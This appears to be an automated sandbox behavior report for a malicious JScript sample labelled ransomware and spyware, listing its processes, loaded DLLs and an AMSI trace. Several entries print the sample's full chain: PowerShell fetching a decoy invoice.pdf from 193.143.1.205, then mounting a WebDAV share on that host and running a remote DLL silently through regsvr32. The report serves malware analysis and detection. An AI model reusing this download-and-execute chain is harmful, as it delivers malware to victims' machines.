Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\139233235618343.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 5545194012153110815.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@27/61@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7616:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3bxr1r5b.x2o.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5545194012153110815.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\139233235618343.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1540,i,146032885069178722,7613249884604742587,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\139233235618343.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1540,i,146032885069178722,7613249884604742587,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\4855.js.csv");ITextStream.WriteLine(" entry:8085 f:dfmbxhqry");ITextStream.WriteLine(" exec:2 f:dfmbxhqry");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
